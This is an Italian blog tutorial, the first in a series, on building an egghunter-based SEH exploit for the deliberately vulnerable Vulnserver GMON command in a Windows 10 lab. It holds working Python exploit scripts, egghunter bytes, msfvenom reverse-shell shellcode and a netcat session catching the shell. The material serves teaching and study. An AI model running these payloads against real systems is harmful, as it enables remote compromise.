Egghunter I - Vulnserver GMON

Tempo di lettura: 19 minuti
Data pubblicazione: November 14, 2022

Introduzione

Una delle sfide durante la scrittura di un exploit è la gestione dello spazio che serve per inserire lo shellcode malevolo. Certe volte si trovano Stack Buffer Overflow, ma ci sono talmente pochi byte per l’inserimento dello shellcode che è necessario trovare un metodo alternativo.

L’egghunter (letteralmente “cacciatore di uova”) è una piccola porzione di codice che, una volta inserito, andrà alla ricerca di una particolare stringa (l’uovo appunto) in tutta la memoria del programma. Una volta trovata, andrà ad eseguire il codice presente subito dopo questa stringa.

Lo shellcode viene quindi inserito subito dopo un tag di 8 byte (l’uovo) mentre l’egghunter, che conosce il tag, viene inserito subito dopo la sovrascrittura di EIP. Invece che crearlo con mona, utilizzeremo il seguente script.

Altri post in questa serie:

  1. Egghunter I - Vulnserver GMON
  2. Egghunter II - freeFTPd 1.0.10
  3. Egghunter III - Vulnserver KSTET
  4. Egghunter IV - TFTP Server 1.4
  5. Egghunter V - Sysax 5.3

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Vulnserver GMON

Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Già in questo articolo abbiamo analizzato la vulnerabilità presente con il comando GMON, ma stavolta sfrutteremo un egghunter per exploitare la vulnerabilità.

Crash Iniziale

Sappiamo che il server va in crash con il seguente comando

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5011

Aggiorniamo lo script

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab..."

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Guardiamo la chain

0:004> !exchain
00f5ffcc: 6f45336f
Invalid exception stack at 45326f45
0:004> !py mona po 6f45336f
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 6f45336f
Looking for o3Eo in pattern of 500000 bytes
- Pattern o3Eo (0x6f45336f) found in cyclic pattern at position 3550
- Pattern oE3o not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.219000
0:004> !py mona po 45326f45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45326f45
Looking for Eo2E in pattern of 500000 bytes
- Pattern Eo2E (0x45326f45) found in cyclic pattern at position 3546

Quindi NSEH è in posizione 3546 e SEH 3500. Aggiorniamo lo script per confermare la posizione

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char

0:003> !teb 
TEB at 003e8000
    ExceptionList:        00e2ffcc
    StackBase:            00e30000
    StackLimit:           00e2f000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 003e8000
    EnvironmentPointer:   00000000
    ClientId:             00001a0c . 00001d4c
    RpcHandle:            00000000
    Tls Storage:          0073e610
    PEB Address:          003e4000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0
0:003> db 00e2ffcc
00e2ffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
00e2ffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
00e2ffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
00e2fffc  29 2a 2b 2c ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  )*+,????????????
00e3000c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00e3001c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Sembra che dopo \x2c non ci stia più nulla. Provo a togliere \x2c e \x2d ma non cambia nulla. Quindi l’unico spazio che abbiamo per il nostro shellcode per ora è solo quello. Divido quindi i bad_char in più parti, ne lancio 20 alla volta e vedo che non ci sono bad char oltre a \x00.

Essendo un SEH, ciò che faccio adesso è cercare un PPR ed inserire uno short jump per arrivare nel (poco) spazio che abbiamo a disposizione.

POP POP RET

Cerco un PPR con mona

0:003> !py mona seh
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh

---------- Mona command started on 2022-09-14 07:37:28 (v2.0, rev 616) ----------
...
…[+] Results : 
0x625010b4 |   0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x00402673 |   0x00402673 : pop ebx # pop ebp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [vulnserver.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\vulnserver.exe)
0x6250172b |   0x6250172b : pop edi # pop ebp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x6250195e |   0x6250195e : pop edi # pop ebp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)

Lo aggiungo allo script insieme al solito short jump

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")
0:004> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b4 esp=0107ec80 ebp=0107eca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b4:

625010b4 5b              pop     ebx
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b5 esp=0107ec84 ebp=0107eca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b5:

625010b5 5d              pop     ebp
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b6 esp=0107ec88 ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b6:

625010b6 c3              ret
0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffcc esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffcc 90              nop

0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffcd esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffcd 90              nop

0:004> t
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=0107ffce esp=0107ec8c ebp=0107ed80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0107ffce eb06            jmp     0107ffd6

0:004> u 0107ffd6
0107ffd6 90              nop
0107ffd7 90              nop
0107ffd8 90              nop
0107ffd9 44              inc     esp
0107ffda 44              inc     esp
0107ffdb 44              inc     esp
0107ffdc 44              inc     esp
0107ffdd 44              inc     esp

Ed ecco che sono arrivato ai NOP. Per capire quando spazio abbiamo basta fare una semplice sottrazione tra l’ultimo e il primo indirizzo

0:004> db eip 
0107ffd6  90 90 90 44 44 44 44 44-44 44 44 44 44 44 44 44  ...DDDDDDDDDDDDD
0107ffe6  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0107fff6  44 44 44 44 44 44 44 44-44 44 ?? ?? ?? ?? ?? ??  DDDDDDDDDD??????
01080006  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01080016  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01080026  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01080036  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01080046  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:004> ? 0x0107ffff - (0x0107ffd6+3) 
Evaluate expression: 38 = 00000026

Poiché abbiamo solo 38 bytes disponibili, dobbiamo necessariamente inserire lo shellcode da qualche altra parte. Mentre nello scorso articolo abbiamo fatto un jump back, in questo caso utilizzeremo un egghunter.

Egghunter

Per prima cosa dobbiamo inserire il codice che andrà a cercare il nostro egghunter in memoria. Per farlo possiamo fare un jump back di circa 100, in modo che ci sia tutto lo spazio per il nostro codice.

nasm > jmp -100
00000000  E997FFFFFF        jmp 0xffffff9c

Aggiorno lo script

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Metto breakpoint al NSEH ed eseguo. Faccio un po' di passi fino ad arrivare al mio jump back ed ecco che salta preciso

0:003> bp 0x625010b4

0:003> g
(1bd8.16e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=78f8f8f8 ebx=000000d4 ecx=0016433c edx=44444444 esi=00401848 edi=00de0000
eip=75986819 esp=00ddf1d0 ebp=00ddf9c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msvcrt!strcat+0x89:
75986819 8917            mov     dword ptr [edi],edx  ds:0023:00de0000=????????

0:003> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b4 esp=00ddec80 ebp=00ddeca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b4:
625010b4 5b              pop     ebx

0:003> p
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b5 esp=00ddec84 ebp=00ddeca0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b5:
625010b5 5d              pop     ebp

0:003> 
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=625010b6 esp=00ddec88 ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
essfunc+0x10b6:
625010b6 c3              ret

0:003> 
eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffcc esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffcc 90              nop
0:003> 

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffcd esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffcd 90              nop
0:003> 

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffce esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffce eb06            jmp     00ddffd6
0:003> p

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd6 esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffd6 90              nop
0:003> 

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd7 esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffd7 90              nop
0:003> 

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd8 esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffd8 90              nop
0:003> 

eax=00000000 ebx=77115af2 ecx=625010b4 edx=77115b10 esi=00000000 edi=00000000
eip=00ddffd9 esp=00ddec8c ebp=00dded80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00ddffd9 e997ffffff      jmp     00ddff75

0:003> db 00ddff75
00ddff75  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00ddff85  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00ddff95  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00ddffa5  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00ddffb5  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
00ddffc5  42 42 42 42 42 42 42 90-90 eb 06 b4 10 50 62 90  BBBBBBB......Pb.
00ddffd5  90 90 90 90 e9 97 ff ff-ff 44 44 44 44 44 44 44  .........DDDDDDD
00ddffe5  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:003> ? ((00ddffc5+6)-00ddff75)
Evaluate expression: 86 = 00000056

Ho quindi 86 byte per inserire l’egghunter. Lo creo con il seguente script

Come si può vedere il tag è c0d3c0d3 (gli 8 bytes di cui parlavamo prima).

Lo inserisco all’interno dello spazio appena creato

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"


payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 100)
payload += egghunter
payload += b"A" * (100 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Viene però tagliato, quindi probabilmente devo dargli più spazio. Per non cambiare il jump back, lo sposto leggermente in basso

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"


payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 80)
payload += egghunter
payload += b"A" * (80 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Exploit

Ora non ci rimane che:

  1. Inserire il tag c0d3c0d3 subito dopo la stringa GMON
  2. Aggiungere lo shellcode
  3. Metterci in ascolto sulla porta dalla kali

Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza. Aggiorniamo ed eseguiamo lo script

import struct
import socket

VULNSRVR_CMD = b"GMON  /.:/"  # change me
CRASH_LEN = 5011  # change me
OFFSET = 3546
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999

target = (TARGET_IP, TARGET_PORT)  # vulnserver

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xbb\x0a\xd3\x29\x1b\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x0e"
shellcode += b"\x03\x50\xdd\xcb\xee\x98\x09\x89\x11\x60\xca"
shellcode += b"\xee\x98\x85\xfb\x2e\xfe\xce\xac\x9e\x74\x82"
shellcode += b"\x40\x54\xd8\x36\xd2\x18\xf5\x39\x53\x96\x23"
shellcode += b"\x74\x64\x8b\x10\x17\xe6\xd6\x44\xf7\xd7\x18"
shellcode += b"\x99\xf6\x10\x44\x50\xaa\xc9\x02\xc7\x5a\x7d"
shellcode += b"\x5e\xd4\xd1\xcd\x4e\x5c\x06\x85\x71\x4d\x99"
shellcode += b"\x9d\x2b\x4d\x18\x71\x40\xc4\x02\x96\x6d\x9e"
shellcode += b"\xb9\x6c\x19\x21\x6b\xbd\xe2\x8e\x52\x71\x11"
shellcode += b"\xce\x93\xb6\xca\xa5\xed\xc4\x77\xbe\x2a\xb6"
shellcode += b"\xa3\x4b\xa8\x10\x27\xeb\x14\xa0\xe4\x6a\xdf"
shellcode += b"\xae\x41\xf8\x87\xb2\x54\x2d\xbc\xcf\xdd\xd0"
shellcode += b"\x12\x46\xa5\xf6\xb6\x02\x7d\x96\xef\xee\xd0"
shellcode += b"\xa7\xef\x50\x8c\x0d\x64\x7c\xd9\x3f\x27\xe9"
shellcode += b"\x2e\x72\xd7\xe9\x38\x05\xa4\xdb\xe7\xbd\x22"
shellcode += b"\x50\x6f\x18\xb5\x97\x5a\xdc\x29\x66\x65\x1d"
shellcode += b"\x60\xad\x31\x4d\x1a\x04\x3a\x06\xda\xa9\xef"
shellcode += b"\x89\x8a\x05\x40\x6a\x7a\xe6\x30\x02\x90\xe9"
shellcode += b"\x6f\x32\x9b\x23\x18\xd9\x66\xa4\xe7\xb6\x69"
shellcode += b"\x08\x80\xc4\x69\x6a\xd5\x40\x8f\xe0\xc5\x04"
shellcode += b"\x18\x9d\x7c\x0d\xd2\x3c\x80\x9b\x9f\x7f\x0a"
shellcode += b"\x28\x60\x31\xfb\x45\x72\xa6\x0b\x10\x28\x61"
shellcode += b"\x13\x8e\x44\xed\x86\x55\x94\x78\xbb\xc1\xc3"
shellcode += b"\x2d\x0d\x18\x81\xc3\x34\xb2\xb7\x19\xa0\xfd"
shellcode += b"\x73\xc6\x11\x03\x7a\x8b\x2e\x27\x6c\x55\xae"
shellcode += b"\x63\xd8\x09\xf9\x3d\xb6\xef\x53\x8c\x60\xa6"
shellcode += b"\x08\x46\xe4\x3f\x63\x59\x72\x40\xae\x2f\x9a"
shellcode += b"\xf1\x07\x76\xa5\x3e\xc0\x7e\xde\x22\x70\x80"
shellcode += b"\x35\xe7\x90\x63\x9f\x12\x39\x3a\x4a\x9f\x24"
shellcode += b"\xbd\xa1\xdc\x50\x3e\x43\x9d\xa6\x5e\x26\x98"
shellcode += b"\xe3\xd8\xdb\xd0\x7c\x8d\xdb\x47\x7c\x84"


payload = VULNSRVR_CMD
payload += b"c0d3c0d3"
payload += shellcode
payload += b"\x90" * (OFFSET - 80 - 359) # 351 (len(shellcode)+ 8(len(c0d3c0d3))
payload += egghunter
payload += b"\x90" * (80 - len(egghunter))
payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
payload += struct.pack("<I",0x625010b4) #PPR - SEH
payload += b"\x90" * 5
payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
payload += b"D" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

E la nostra shell viene eseguita

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 31852
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Users\User\Desktop\vulnserver>whoami
whoami
desktop-p7jng2j\user

Conclusioni

L’utilizzo di un egghunter può essere molto utile in certe occasioni in cui non si ha per nulla spazio per l’inserimento dello shellcode. Mentre in questo caso di spazio ce n’era in abbondanza, è stato solo un esempio. Nei prossimi articoli vedremo casi d’uso peculiari per gli egghunter. Alcune risorse utili:

  1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  3. https://fuzzysecurity.com/tutorials/expDev/4.html
  4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
  5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
